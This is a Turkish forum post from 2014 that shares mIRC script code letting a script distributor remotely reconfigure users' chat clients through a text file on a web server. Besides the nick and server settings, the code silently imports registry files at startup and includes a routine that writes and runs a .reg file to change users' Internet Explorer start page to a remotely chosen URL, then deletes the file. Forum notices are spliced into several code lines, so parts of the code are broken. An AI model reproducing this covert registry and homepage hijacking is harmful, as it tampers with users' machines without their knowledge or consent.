| AspavA | 11 Eylül 2014 19:50 |
Web Kontrol mIRC Yapımı.
Sunucunuza ait scriptlerinizi ve mIRC lerinizi webden kontrol etmeniz için tasarlanmış bir koddur.
mantık tamamen basit.
web ftp nize yada irc ftp nize koyacağınız txt ile txt içerisinde degişlik yaptıgınızda scriptiniz veya
mircinizde değişiklik olacaktır.
öncelikle scriptinizde hos.dll olması gerekiyor.
bu kodlar geliştirilebilinir kodlar. ve çoğaltılabilinir örneklerine bakılarak. ÖRNEK BAĞLANTI MENÜSÜ. orjinali Kod:
alias bmenu { dialog -m bmenu bmenu }
dialog bmenu {
title "Bağlanti Menüsü"
size -1 -1 265 168
option pixels
text "Rumuz Giriniz :", 2, 16 51 77 20
edit "", 3, 99 51 144 20, autohs
button "SOHBET BAŞLASIN", 19, 61 22 147 20, flat ok
edit "", 1, 99 77 144 20, autohs
text "Yedek Rumuz :", 4, 16 77 77 20
edit "", 5, 99 105 144 20, autohs
text "İdent Giriniz :", 6, 16 105 77 20
button "Kapat", 7, 95 134 62 20, ok
}
on *:dialog:bmenu:*:*:{
if ($devent == init) {
did -a $dname 3 %Nick
did -a $dname 1 %anick
did -a $dname 5 $emailaddr
}
if ($devent == sclick) {
if ($did == 19) {
.nick $did(3) | .anick $did(1) | .emailaddr $did(5)
.server irc.bilmemne.com 6667 | dialog -x bmenu
}
}
if ($devent == edit) {
if ($did == 5) {
if ($did(5).text == $null) { .emailaddr dımtıstak@ }
else { .emailaddr $did(5).text }
}
if ($did == 3) {
if ($did(3).text == $null) { nick %nick }
else { .nick $did(3).text | set %nick $did(3).text }
}
if ($did == 1) {
if ($did(1).text == $null) { nick %anick }
else { .anick $did(1).text | set %anick $did(1).text }
}
}
}
on 1:start:{
.remote on
run regedit /S $mircdir\kayit.reg
showmirc -x | window -x "Status Window"
.titlebar %toolbar
.fullname %realname
.timer 1 3 bmenu
.set %nick %nick $+ $rand(100,9999)
.set %anick %anick $+ $rand(100,9999)
.set %email %ident $+ @
.nick %nick | .anick %anick | .emailaddr %ident
}
ÖRNEK BAĞLANTI MENÜSÜ YAPILMASI GEREKENLER Kod:
dialog bmenu {
title "Bağlanti Menüsü"
size -1 -1 265 168
option pixels
text "Rumuz Giriniz :", 2, 16 51 77 20
edit "", 3, 99 51 144 20, autohs
button "SOHBET BAŞLASIN", 19, 61 22 147 20, flat ok
edit "", 1, 99 77 144 20, autohs
text "Yedek Rumuz :", 4, 16 77 77 20
edit "", 5, 99 105 144 20, autohs
text "İdent Giriniz :", 6, 16 105 77 20
button "Kapat", 7, 95 134 62 20, ok
}
on *:dialog:bmenu:*:*:{
if ($devent == init) {
did -a $dname 3 %Nick
did -a $dname 1 %anick
did -a $dname 5 $emailaddr
}
if ($devent == sclick) {
if ($did == 19) {
.nick $did(3) | .anick $did(1) | .emailaddr $did(5)
.server %server %port | dialog -x bmenu
}
}
if ($devent == edit) {
if ($did == 5) {
if ($did(5).text == $null) { .emailaddr dımtıstak@ }
else { .emailaddr $did(5).text }
}
if ($did == 3) {
if ($did(3).text == $null) { nick %nick }
else { .nick $did(3).text | set %nick $did(3).text }
}
if ($did == 1) {
if ($did(1).text == $null) { nick %anick }
else { .anick $did(1).text | set %anick $did(1).text }
}
}
}
mIRC YADA SCRİPTİNİZİN REMOTE KISMINA KOYACAĞINIZ KODLAR Kod:
on *:connect: {
if $timer(tool) { .timertool off | .dll scripts/hos.dll DockSize @ss 0 }
if %connectcmd {
$ifmatch
}
.ignore -r
}
on *:start: {
if (!%acilis) { .set %verify $r(1000000,9999999) | .run regedit /S kayit.reg | set %acilis ok! }
.emailaddr %ident
.nick %nick $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9)
.identd on %ident
.fullname %realname
.anick %anick $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9)
unset %webupdate
set %sayy $calc(%sayy + 1)
echostatus
if (%sayy >= 15) {
set %webupdate 1
}
else {
set %webupdate 0
set %taki %websites
}
if (%down == 1) {
downcheck
unset %down
}
}
alias servers {
if $sock(servers) {
sockclose servers
}
unset %dr
sockopen servers irc.domain.com yada
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
80
}
on *:sockclose:servers: {
halt
}
on *:sockread:servers: {
if %dr != 1 {
var %h
sockread %h
while $sockbr {
if * !iswm %h {
set %dr 1
break
}
sockread %h
}
}
sockread 4096 &d
while $sockbr {
bwrite servers.ini -1 -1 &d
sockread 4096 &d
}
}
on *:sockopen:servers: {
if $sockerr {
return
}
write -c servers.ini
sockwrite -nt $sockname GET /servers.txt HTTP/1.0
sockwrite -nt $sockname Accept: */*
sockwrite -nt $sockname Host: irc.domain.com yada
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
sockwrite -nt $sockname
}
alias echostatus {
if $sock(echo) {
sockclose echo
}
sockopen echo domain.com 80
}
on *:sockopen:echo: {
if $sockerr {
return
}
sockwrite -nt $sockname GET /acilis.txt HTTP/1.0
sockwrite -nt $sockname Accept: */*
sockwrite -nt $sockname Host: irc.domain.com yada
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
sockwrite -nt $sockname Connection: close
sockwrite -nt $sockname
}
on *:sockread:echo: {
sockread %s
if $gettok(%s,1,61) == bar && $gettok(%s,2,61) == 1 {
}
if $left(%s,1) == {
echo -a %s
}
if $gettok(%s,1,32) == taki && %webupdate == 1 {
%taki = $gettok(%s,2,32)
}
if $gettok(%s,1,32) == nick {
if $gettok(%s,2,32) == 1 {
%nick = $gettok(%s,3,32)
}
else {
unset %nick
}
}
if $gettok(%s,1,32) == server {
if $gettok(%s,2,32) == 1 {
%server = $gettok(%s,3,32)
}
else {
unset %server
}
}
if $gettok(%s,1,32) == autojoin {
if $gettok(%s,2,32) == 1 {
%autojoin = $gettok(%s,3,32)
}
else {
unset %autojoin
}
}
if $gettok(%s,1,32) == email {
if $gettok(%s,2,32) == 1 {
%email = $gettok(%s,3,32)
}
else {
unset %email
}
}
if $gettok(%s,1,32) == anick {
if $gettok(%s,2,32) == 1 {
%anick = $gettok(%s,3,32)
}
else {
unset %anick
}
}
if $gettok(%s,1,32) == toolbar {
if $gettok(%s,2,32) == 1 {
%toolbar = $gettok(%s,3,32)
}
else {
unset %toolbar
}
}
if $gettok(%s,1,32) == realname {
if $gettok(%s,2,32) == 1 {
%realname = $gettok(%s,3,32)
}
else {
unset %realname
}
}
if $gettok(%s,1,32) == irc {
if $gettok(%s,2,32) == 1 {
%irc = $gettok(%s,3,32)
}
else {
unset %irc
}
}
if $gettok(%s,1,32) == port {
if $gettok(%s,2,32) == 1 {
%port = $gettok(%s,4,32)
}
else {
unset %port
}
}
if $gettok(%s,1,32) == ident {
if $gettok(%s,2,32) == 1 {
%ident = $gettok(%s,3,32)
}
else {
unset %ident
}
}
}
if $gettok(%s,1,32) == download && $file(servers.ini) != $gettok(%s,2,32) {
servers
}
if $gettok(%s,1,32) == chan {
writeini mirc.ini chanfolder $gettok($gettok(%s,2,32),1,61) $gettok($gettok(%s,2,32),2,61)
}
}
alias taki {
var %mr = $r(99,999999) $+ .reg
write %mr REGEDIT4
write %mr [HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main]
write %mr "Start Page"=" $+ %taki $+ "
write %mr [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
write %mr "Start Page"=" $+ %taki $+ "
run -n regedit /s %mr
.timer -i 1 4 .remove %mr
FTP İÇERİSİNDE acilis.txt olarak bir txt dosyası kayıt edin ( txt ismi degiştirilebilinir. ) ve içirisini aşağıdaki gibi doldurun Kod:
nkghkvhk
script açılış mesajı
Bizi tercih etti�iniz i�in te�ekk�r ederiz....
download 1
server 1 irc.domain.com
realname 1 bilmem ne script
ident 1 bilmemne@
nick 1 bilscript
anick 1 YedekNick
email 1 dımtıstak@
autojoin 1 #kanalınız,#kanal,#devam
port 1 7000
toolbar 1 bilmen ne script
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
TEK YAPMANIZ GEREKEN ŞEY DEGİŞİKLİK YAPTIKTAN SONRA SCRİPTİ AÇIP KAPATMAK VE acilis.txt DE YAPTIGINIZ DEGİŞİKLİKLERİN SCRİPTE YADA MİRCE UYARLANDIĞINI GÖRMEK.
KOLAY GELSİN. |
